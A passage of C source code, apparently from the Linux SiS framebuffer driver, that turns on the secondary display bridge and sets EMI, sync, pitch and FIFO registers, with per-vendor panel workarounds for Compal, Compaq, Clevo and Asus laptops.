SiS_DisplayOn(SiS_Pr); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if(SiS_CRT2IsLCD(SiS_Pr)) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x16) & 0x10)) { if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { SiS_PanelDelay(SiS_Pr, 1); } SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x01); } } } } #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* 315 series */ #ifdef SET_EMI unsigned char r30=0, r31=0, r32=0, r33=0, cr36=0; int didpwd = 0; /* unsigned short emidelay=0; */ #endif if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x1f,0xef); #ifdef SET_EMI if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x30,0x0c); } #endif } if(!(SiS_IsNotM650orLater(SiS_Pr))) { /*if(SiS_Pr->ChipType < SIS_340) { */ tempah = 0x10; if(SiS_LCDAEnabled(SiS_Pr)) { if(SiS_TVEnabled(SiS_Pr)) tempah = 0x18; else tempah = 0x08; } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x4c,tempah); /*}*/ } if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegByte(SiS_Pr->SiS_P3c6,0x00); SiS_DisplayOff(SiS_Pr); pushax = SiS_GetReg(SiS_Pr->SiS_P3c4,0x06); if(IS_SIS740) { SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x06,0xE3); } didpwd = SiS_HandlePWD(SiS_Pr); if(SiS_IsVAorLCD(SiS_Pr)) { if(!didpwd) { if(!(SiS_GetReg(SiS_Pr->SiS_Part4Port,0x26) & 0x02)) { SiS_PanelDelayLoop(SiS_Pr, 3, 2); SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x02); SiS_PanelDelayLoop(SiS_Pr, 3, 2); if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_GenericDelay(SiS_Pr, 17664); } } } else { SiS_PanelDelayLoop(SiS_Pr, 3, 2); if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_GenericDelay(SiS_Pr, 17664); } } } if(!(SiS_GetReg(SiS_Pr->SiS_P3d4,0x31) & 0x40)) { SiS_PanelDelayLoop(SiS_Pr, 3, 10); delaylong = true; } } if(!(SiS_IsVAMode(SiS_Pr))) { temp = SiS_GetReg(SiS_Pr->SiS_P3c4,0x32) & 0xDF; if(SiS_BridgeInSlavemode(SiS_Pr)) { tempah = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(!(tempah & SetCRT2ToRAMDAC)) { if(!(SiS_LCDAEnabled(SiS_Pr))) temp |= 0x20; } } SiS_SetReg(SiS_Pr->SiS_P3c4,0x32,temp); SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); /* enable CRT2 */ SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2e,0x7f); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2e,0x80); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_PanelDelay(SiS_Pr, 2); } } else { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1e,0x20); } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x00,0x1f,0x20); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2e,0x80); if(SiS_Pr->SiS_VBType & VB_SISPOWER) { if( (SiS_LCDAEnabled(SiS_Pr)) || (SiS_CRT2IsLCD(SiS_Pr)) ) { /* Enable "LVDS PLL power on" (even on 301C) */ SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x2a,0x7f); /* Enable "LVDS Driver Power on" (even on 301C) */ SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x30,0x7f); } } tempah = 0xc0; if(SiS_IsDualEdge(SiS_Pr)) { tempah = 0x80; if(!(SiS_IsVAMode(SiS_Pr))) tempah = 0x40; } SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x1F,tempah); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_PanelDelay(SiS_Pr, 2); SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x1f,0x10); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2e,0x80); if(SiS_Pr->SiS_CustomT != CUT_CLEVO1400) { #ifdef SET_EMI if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x30,0x0c); SiS_GenericDelay(SiS_Pr, 2048); } #endif SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x27,0x0c); if(SiS_Pr->SiS_VBType & VB_SISEMI) { #ifdef SET_EMI cr36 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36); if(SiS_Pr->SiS_ROMNew) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr = GetLCDStructPtr661_2(SiS_Pr); if(romptr) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x30,0x20); /* Reset */ SiS_Pr->EMI_30 = 0; SiS_Pr->EMI_31 = ROMAddr[romptr + SiS_Pr->SiS_EMIOffset + 0]; SiS_Pr->EMI_32 = ROMAddr[romptr + SiS_Pr->SiS_EMIOffset + 1]; SiS_Pr->EMI_33 = ROMAddr[romptr + SiS_Pr->SiS_EMIOffset + 2]; if(ROMAddr[romptr + 1] & 0x10) SiS_Pr->EMI_30 = 0x40; /* emidelay = SISGETROMW((romptr + 0x22)); */ SiS_Pr->HaveEMI = SiS_Pr->HaveEMILCD = SiS_Pr->OverruleEMI = true; } } /* (P4_30|0x40) */ /* Compal 1400x1050: 0x05, 0x60, 0x00 YES (1.10.7w; CR36=69) */ /* Compal 1400x1050: 0x0d, 0x70, 0x40 YES (1.10.7x; CR36=69) */ /* Acer 1280x1024: 0x12, 0xd0, 0x6b NO (1.10.9k; CR36=73) */ /* Compaq 1280x1024: 0x0d, 0x70, 0x6b YES (1.12.04b; CR36=03) */ /* Clevo 1024x768: 0x05, 0x60, 0x33 NO (1.10.8e; CR36=12, DL!) */ /* Clevo 1024x768: 0x0d, 0x70, 0x40 (if type == 3) YES (1.10.8y; CR36=?2) */ /* Clevo 1024x768: 0x05, 0x60, 0x33 (if type != 3) YES (1.10.8y; CR36=?2) */ /* Asus 1024x768: ? ? (1.10.8o; CR36=?2) */ /* Asus 1024x768: 0x08, 0x10, 0x3c (problematic) YES (1.10.8q; CR36=22) */ if(SiS_Pr->HaveEMI) { r30 = SiS_Pr->EMI_30; r31 = SiS_Pr->EMI_31; r32 = SiS_Pr->EMI_32; r33 = SiS_Pr->EMI_33; } else { r30 = 0; } /* EMI_30 is read at driver start; however, the BIOS sets this * (if it is used) only if the LCD is in use. In case we caught * the machine while on TV output, this bit is not set and we * don't know if it should be set - hence our detection is wrong. * Work-around this here: */ if((!SiS_Pr->HaveEMI) || (!SiS_Pr->HaveEMILCD)) { switch((cr36 & 0x0f)) { case 2: r30 |= 0x40; if(SiS_Pr->SiS_CustomT == CUT_CLEVO1024) r30 &= ~0x40; if(!SiS_Pr->HaveEMI) { r31 = 0x05; r32 = 0x60; r33 = 0x33; if((cr36 & 0xf0) == 0x30) { r31 = 0x0d; r32 = 0x70; r33 = 0x40; } } break; case 3: /* 1280x1024 */ if(SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) r30 |= 0x40; if(!SiS_Pr->HaveEMI) { r31 = 0x12; r32 = 0xd0; r33 = 0x6b; if(SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) { r31 = 0x0d; r32 = 0x70; r33 = 0x6b; } } break; case 9: /* 1400x1050 */ r30 |= 0x40; if(!SiS_Pr->HaveEMI) { r31 = 0x05; r32 = 0x60; r33 = 0x00; if(SiS_Pr->SiS_CustomT == CUT_COMPAL1400_2) { r31 = 0x0d; r32 = 0x70; r33 = 0x40; /* BIOS values */ } } break; case 11: /* 1600x1200 - unknown */ r30 |= 0x40; if(!SiS_Pr->HaveEMI) { r31 = 0x05; r32 = 0x60; r33 = 0x00; } } } /* BIOS values don't work so well sometimes */ if(!SiS_Pr->OverruleEMI) { #ifdef COMPAL_HACK if(SiS_Pr->SiS_CustomT == CUT_COMPAL1400_2) { if((cr36 & 0x0f) == 0x09) { r30 = 0x60; r31 = 0x05; r32 = 0x60; r33 = 0x00; } } #endif #ifdef COMPAQ_HACK if(SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) { if((cr36 & 0x0f) == 0x03) { r30 = 0x20; r31 = 0x12; r32 = 0xd0; r33 = 0x6b; } } #endif #ifdef ASUS_HACK if(SiS_Pr->SiS_CustomT == CUT_ASUSA2H_2) { if((cr36 & 0x0f) == 0x02) { /* r30 = 0x60; r31 = 0x05; r32 = 0x60; r33 = 0x33; */ /* rev 2 */ /* r30 = 0x20; r31 = 0x05; r32 = 0x60; r33 = 0x33; */ /* rev 3 */ /* r30 = 0x60; r31 = 0x0d; r32 = 0x70; r33 = 0x40; */ /* rev 4 */ /* r30 = 0x20; r31 = 0x0d; r32 = 0x70; r33 = 0x40; */ /* rev 5 */ } } #endif } if(!(SiS_Pr->OverruleEMI && (!r30) && (!r31) && (!r32) && (!r33))) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x30,0x20); /* Reset */ SiS_GenericDelay(SiS_Pr, 2048); } SiS_SetReg(SiS_Pr->SiS_Part4Port,0x31,r31); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x32,r32); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x33,r33); #endif /* SET_EMI */ SiS_SetReg(SiS_Pr->SiS_Part4Port,0x34,0x10); #ifdef SET_EMI if( (SiS_LCDAEnabled(SiS_Pr)) || (SiS_CRT2IsLCD(SiS_Pr)) ) { if(r30 & 0x40) { /*SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x2a,0x80);*/ SiS_PanelDelayLoop(SiS_Pr, 3, 5); if(delaylong) { SiS_PanelDelayLoop(SiS_Pr, 3, 5); delaylong = false; } SiS_WaitVBRetrace(SiS_Pr); SiS_WaitVBRetrace(SiS_Pr); if(SiS_Pr->SiS_CustomT == CUT_ASUSA2H_2) { SiS_GenericDelay(SiS_Pr, 1280); } SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x30,0x40); /* Enable */ /*SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x2a,0x7f);*/ } } #endif } } if(!(SiS_WeHaveBacklightCtrl(SiS_Pr))) { if(SiS_IsVAorLCD(SiS_Pr)) { SiS_PanelDelayLoop(SiS_Pr, 3, 10); if(delaylong) { SiS_PanelDelayLoop(SiS_Pr, 3, 10); } SiS_WaitVBRetrace(SiS_Pr); if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_GenericDelay(SiS_Pr, 2048); SiS_WaitVBRetrace(SiS_Pr); } if(!didpwd) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x01); } else { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x03); } } } SiS_SetReg(SiS_Pr->SiS_P3c4,0x06,pushax); SiS_DisplayOn(SiS_Pr); SiS_SetRegByte(SiS_Pr->SiS_P3c6,0xff); } if(!(SiS_WeHaveBacklightCtrl(SiS_Pr))) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x00,0x7f); } #endif /* CONFIG_FB_SIS_315 */ } } else { /* ============ For 301 ================ */ if(SiS_Pr->ChipType < SIS_315H) { if(SiS_CRT2IsLCD(SiS_Pr)) { SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x00); SiS_PanelDelay(SiS_Pr, 0); } } temp = SiS_GetReg(SiS_Pr->SiS_P3c4,0x32) & 0xDF; /* lock mode */ if(SiS_BridgeInSlavemode(SiS_Pr)) { tempah = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(!(tempah & SetCRT2ToRAMDAC)) temp |= 0x20; } SiS_SetReg(SiS_Pr->SiS_P3c4,0x32,temp); SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); /* enable CRT2 */ if(SiS_Pr->ChipType >= SIS_315H) { temp = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x2E); if(!(temp & 0x80)) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2E,0x80); /* BVBDOENABLE=1 */ } } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x00,0x1F,0x20); /* enable VB processor */ SiS_VBLongWait(SiS_Pr); SiS_DisplayOn(SiS_Pr); if(SiS_Pr->ChipType >= SIS_315H) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x00,0x7f); } SiS_VBLongWait(SiS_Pr); if(SiS_Pr->ChipType < SIS_315H) { if(SiS_CRT2IsLCD(SiS_Pr)) { SiS_PanelDelay(SiS_Pr, 1); SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x00); } } } } else { /* =================== For LVDS ================== */ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* 300 series */ if(SiS_CRT2IsLCD(SiS_Pr)) { if(SiS_Pr->ChipType == SIS_730) { SiS_PanelDelay(SiS_Pr, 1); SiS_PanelDelay(SiS_Pr, 1); SiS_PanelDelay(SiS_Pr, 1); } SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x00); if(!(SiS_CR36BIOSWord23d(SiS_Pr))) { SiS_PanelDelay(SiS_Pr, 0); } } SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); SiS_DisplayOn(SiS_Pr); SiS_UnLockCRT2(SiS_Pr); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x02,0xBF); if(SiS_BridgeInSlavemode(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x01,0x1F); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x01,0x1F,0x40); } if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) { if(!(SiS_CRT2IsLCD(SiS_Pr))) { SiS_WaitVBRetrace(SiS_Pr); SiS_SetCH700x(SiS_Pr,0x0E,0x0B); } } if(SiS_CRT2IsLCD(SiS_Pr)) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x13) & 0x40)) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x16) & 0x10)) { if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { SiS_PanelDelay(SiS_Pr, 1); SiS_PanelDelay(SiS_Pr, 1); } SiS_WaitVBRetrace(SiS_Pr); SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x00); } } } #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* 315 series */ if(!(SiS_IsNotM650orLater(SiS_Pr))) { /*if(SiS_Pr->ChipType < SIS_340) {*/ /* XGI needs this */ SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x4c,0x18); /*}*/ } if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { if(SiS_CRT2IsLCD(SiS_Pr)) { SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x00); SiS_PanelDelay(SiS_Pr, 0); } } SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); SiS_UnLockCRT2(SiS_Pr); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2e,0xf7); if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { temp = SiS_GetCH701x(SiS_Pr,0x66); temp &= 0x20; SiS_Chrontel701xBLOff(SiS_Pr); } if(SiS_Pr->ChipType != SIS_550) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2e,0x7f); } if(SiS_Pr->ChipType == SIS_740) { if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(SiS_IsLCDOrLCDA(SiS_Pr)) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1E,0x20); } } } temp1 = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x2E); if(!(temp1 & 0x80)) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x2E,0x80); } if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(temp) { SiS_Chrontel701xBLOn(SiS_Pr); } } if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { if(SiS_CRT2IsLCD(SiS_Pr)) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1E,0x20); if(SiS_Pr->ChipType == SIS_550) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1E,0x40); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1E,0x10); } } } else if(SiS_IsVAMode(SiS_Pr)) { if(SiS_Pr->ChipType != SIS_740) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1E,0x20); } } if(!(SiS_WeHaveBacklightCtrl(SiS_Pr))) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x00,0x7f); } if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(SiS_IsTVOrYPbPrOrScart(SiS_Pr)) { SiS_Chrontel701xOn(SiS_Pr); } if( (SiS_IsVAMode(SiS_Pr)) || (SiS_IsLCDOrLCDA(SiS_Pr)) ) { SiS_ChrontelDoSomething1(SiS_Pr); } } if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(!(SiS_WeHaveBacklightCtrl(SiS_Pr))) { if( (SiS_IsVAMode(SiS_Pr)) || (SiS_IsLCDOrLCDA(SiS_Pr)) ) { SiS_Chrontel701xBLOn(SiS_Pr); SiS_ChrontelInitTVVSync(SiS_Pr); } } } else if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { if(!(SiS_WeHaveBacklightCtrl(SiS_Pr))) { if(SiS_CRT2IsLCD(SiS_Pr)) { SiS_PanelDelay(SiS_Pr, 1); SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x00); } } } #endif /* CONFIG_FB_SIS_315 */ } /* 310 series */ } /* LVDS */ } /*********************************************/ /* SET PART 1 REGISTER GROUP */ /*********************************************/ /* Set CRT2 OFFSET / PITCH */ static void SiS_SetCRT2Offset(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RRTI) { unsigned short offset; unsigned char temp; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) return; offset = SiS_GetOffset(SiS_Pr,ModeNo,ModeIdIndex,RRTI); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x07,(offset & 0xFF)); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x09,(offset >> 8)); temp = (unsigned char)(((offset >> 3) & 0xFF) + 1); if(offset & 0x07) temp++; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x03,temp); } /* Set CRT2 sync and PanelLink mode */ static void SiS_SetCRT2Sync(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short RefreshRateTableIndex) { unsigned short tempah=0, tempbl, infoflag; tempbl = 0xC0; if(SiS_Pr->UseCustomMode) { infoflag = SiS_Pr->CInfoFlag; } else { infoflag = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_InfoFlag; } if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { /* LVDS */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { tempah = 0; } else if((SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) && (SiS_Pr->SiS_LCDInfo & LCDSync)) { tempah = SiS_Pr->SiS_LCDInfo; } else tempah = infoflag >> 8; tempah &= 0xC0; tempah |= 0x20; if(!(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit)) tempah |= 0x10; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if((SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024)) { tempah |= 0xf0; } if( (SiS_Pr->SiS_IF_DEF_FSTN) || (SiS_Pr->SiS_IF_DEF_DSTN) || (SiS_Pr->SiS_IF_DEF_TRUMPION) || (SiS_Pr->SiS_CustomT == CUT_PANEL848) || (SiS_Pr->SiS_CustomT == CUT_PANEL856) ) { tempah |= 0x30; } if( (SiS_Pr->SiS_IF_DEF_FSTN) || (SiS_Pr->SiS_IF_DEF_DSTN) ) { tempah &= ~0xc0; } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(SiS_Pr->ChipType >= SIS_315H) { tempah >>= 3; tempah &= 0x18; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,0xE7,tempah); /* Don't care about 12/18/24 bit mode - TV is via VGA, not PL */ } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0F,0xe0); } } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0F,tempah); } } else if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* ---- 300 series --- */ if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { /* 630 - 301B(-DH) */ tempah = infoflag >> 8; tempbl = 0; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->SiS_LCDInfo & LCDSync) { tempah = SiS_Pr->SiS_LCDInfo; tempbl = (tempah >> 6) & 0x03; } } tempah &= 0xC0; tempah |= 0x20; if(!(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit)) tempah |= 0x10; tempah |= 0xc0; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0F,tempah); if((SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) && (!(SiS_Pr->SiS_VBType & VB_NoLCD))) { SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1a,0xf0,tempbl); } } else { /* 630 - 301 */ tempah = ((infoflag >> 8) & 0xc0) | 0x20; if(!(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit)) tempah |= 0x10; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0F,tempah); } #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* ------- 315 series ------ */ if(SiS_Pr->SiS_VBType & VB_SISLVDS) { /* 315 - LVDS */ tempbl = 0; if((SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) && (SiS_Pr->SiS_LCDResInfo == Panel_1280x1024)) { tempah = infoflag >> 8; if(SiS_Pr->SiS_LCDInfo & LCDSync) { tempbl = ((SiS_Pr->SiS_LCDInfo & 0xc0) >> 6); } } else if((SiS_Pr->SiS_CustomT == CUT_CLEVO1400) && (SiS_Pr->SiS_LCDResInfo == Panel_1400x1050)) { tempah = infoflag >> 8; tempbl = 0x03; } else { tempah = SiS_GetReg(SiS_Pr->SiS_P3d4,0x37); tempbl = (tempah >> 6) & 0x03; tempbl |= 0x08; if(!(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit)) tempbl |= 0x04; } tempah &= 0xC0; tempah |= 0x20; if(!(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit)) tempah |= 0x10; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) tempah |= 0xc0; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0F,tempah); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1a,0xf0,tempbl); } } } else { /* 315 - TMDS */ tempah = tempbl = infoflag >> 8; if(!SiS_Pr->UseCustomMode) { tempbl = 0; if((SiS_Pr->SiS_VBType & VB_SIS30xC) && (SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC)) { if(ModeNo <= 0x13) { tempah = SiS_GetRegByte((SiS_Pr->SiS_P3ca+0x02)); } } if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { if(SiS_Pr->SiS_LCDInfo & LCDSync) { tempah = SiS_Pr->SiS_LCDInfo; tempbl = (tempah >> 6) & 0x03; } } } } tempah &= 0xC0; tempah |= 0x20; if(!(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit)) tempah |= 0x10; if(SiS_Pr->SiS_VBType & VB_NoLCD) { /* Imitate BIOS bug */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) tempah |= 0xc0; } if((SiS_Pr->SiS_VBType & VB_SIS30xC) && (SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC)) { tempah >>= 3; tempah &= 0x18; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,0xe7,tempah); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0F,tempah); if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1a,0xf0,tempbl); } } } } #endif /* CONFIG_FB_SIS_315 */ } } } /* Set CRT2 FIFO on 300/540/630/730 */ #ifdef CONFIG_FB_SIS_300 static void SiS_SetCRT2FIFO_300(struct SiS_Private *SiS_Pr,unsigned short ModeNo) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short temp, index, modeidindex, refreshratetableindex; unsigned short VCLK = 0, MCLK, colorth = 0, data2 = 0; unsigned short tempbx, tempcl, CRT1ModeNo, CRT2ModeNo, SelectRate_backup; unsigned int data, pci50, pciA0; static const unsigned char colortharray[] = { 1, 1, 2, 2, 3, 4 }; SelectRate_backup = SiS_Pr->SiS_SelectCRT2Rate; if(!SiS_Pr->CRT1UsesCustomMode) { CRT1ModeNo = SiS_Pr->SiS_CRT1Mode; /* get CRT1 ModeNo */ SiS_SearchModeID(SiS_Pr, &CRT1ModeNo, &modeidindex); SiS_Pr->SiS_SetFlag &= (~ProgrammingCRT2); SiS_Pr->SiS_SelectCRT2Rate = 0; refreshratetableindex = SiS_GetRatePtr(SiS_Pr, CRT1ModeNo, modeidindex); if(CRT1ModeNo >= 0x13) { /* Get VCLK */ index = SiS_GetRefCRTVCLK(SiS_Pr, refreshratetableindex, SiS_Pr->SiS_UseWide); VCLK = SiS_Pr->SiS_VCLKData[index].CLOCK; /* Get colordepth */ colorth = SiS_GetColorDepth(SiS_Pr,CRT1ModeNo,modeidindex) >> 1; if(!colorth) colorth++; } } else { CRT1ModeNo = 0xfe; /* Get VCLK */ VCLK = SiS_Pr->CSRClock_CRT1; /* Get color depth */ colorth = colortharray[((SiS_Pr->CModeFlag_CRT1 & ModeTypeMask) - 2)]; } if(CRT1ModeNo >= 0x13) { /* Get MCLK */ if(SiS_Pr->ChipType == SIS_300) { index = SiS_GetReg(SiS_Pr->SiS_P3c4,0x3A); } else { index = SiS_GetReg(SiS_Pr->SiS_P3c4,0x1A); } index &= 0x07; MCLK = SiS_Pr->SiS_MCLKData_0[index].CLOCK; temp = ((SiS_GetReg(SiS_Pr->SiS_P3c4,0x14) >> 6) & 0x03) << 1; if(!temp) temp++; temp <<= 2; data2 = temp - ((colorth * VCLK) / MCLK); temp = (28 * 16) % data2; data2 = (28 * 16) / data2; if(temp) data2++; if(SiS_Pr->ChipType == SIS_300) { SiS_GetFIFOThresholdIndex300(SiS_Pr, &tempbx, &tempcl); data = SiS_GetFIFOThresholdB300(tempbx, tempcl); } else { pci50 = sisfb_read_nbridge_pci_dword(SiS_Pr, 0x50); pciA0 = sisfb_read_nbridge_pci_dword(SiS_Pr, 0xa0); if(SiS_Pr->ChipType == SIS_730) { index = (unsigned short)(((pciA0 >> 28) & 0x0f) * 3); index += (unsigned short)(((pci50 >> 9)) & 0x03); /* BIOS BUG (2.04.5d, 2.04.6a use ah here, which is unset!) */ index = 0; /* -- do it like the BIOS anyway... */ } else { pci50 >>= 24; pciA0 >>= 24; index = (pci50 >> 1) & 0x07; if(pci50 & 0x01) index += 6; if(!(pciA0 & 0x01)) index += 24; if(SiS_GetReg(SiS_Pr->SiS_P3c4,0x14) & 0x80) index += 12; } data = SiS_GetLatencyFactor630(SiS_Pr, index) + 15; if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x14) & 0x80)) data += 5; } data += data2; /* CRT1 Request Period */ SiS_Pr->SiS_SetFlag |= ProgrammingCRT2; SiS_Pr->SiS_SelectCRT2Rate = SelectRate_backup; if(!SiS_Pr->UseCustomMode) { CRT2ModeNo = ModeNo; SiS_SearchModeID(SiS_Pr, &CRT2ModeNo, &modeidindex); refreshratetableindex = SiS_GetRatePtr(SiS_Pr, CRT2ModeNo, modeidindex); /* Get VCLK */ index = SiS_GetVCLK2Ptr(SiS_Pr, CRT2ModeNo, modeidindex, refreshratetableindex); VCLK = SiS_Pr->SiS_VCLKData[index].CLOCK; if((SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024)) { if(SiS_Pr->SiS_UseROM) { if(ROMAddr[0x220] & 0x01) { VCLK = ROMAddr[0x229] | (ROMAddr[0x22a] << 8); } } } } else { /* Get VCLK */ CRT2ModeNo = 0xfe; VCLK = SiS_Pr->CSRClock; } /* Get colordepth */ colorth = SiS_GetColorDepth(SiS_Pr,CRT2ModeNo,modeidindex) >> 1; if(!colorth) colorth++; data = data * VCLK * colorth; temp = data % (MCLK << 4); data = data / (MCLK << 4); if(temp) data++; if(data < 6) data = 6; else if(data > 0x14) data = 0x14; if(SiS_Pr->ChipType == SIS_300) { temp = 0x16; if((data <= 0x0f) || (SiS_Pr->SiS_LCDResInfo == Panel_1280x1024)) temp = 0x13; } else { temp = 0x16; if(( (SiS_Pr->ChipType == SIS_630) || (SiS_Pr->ChipType == SIS_730) ) && 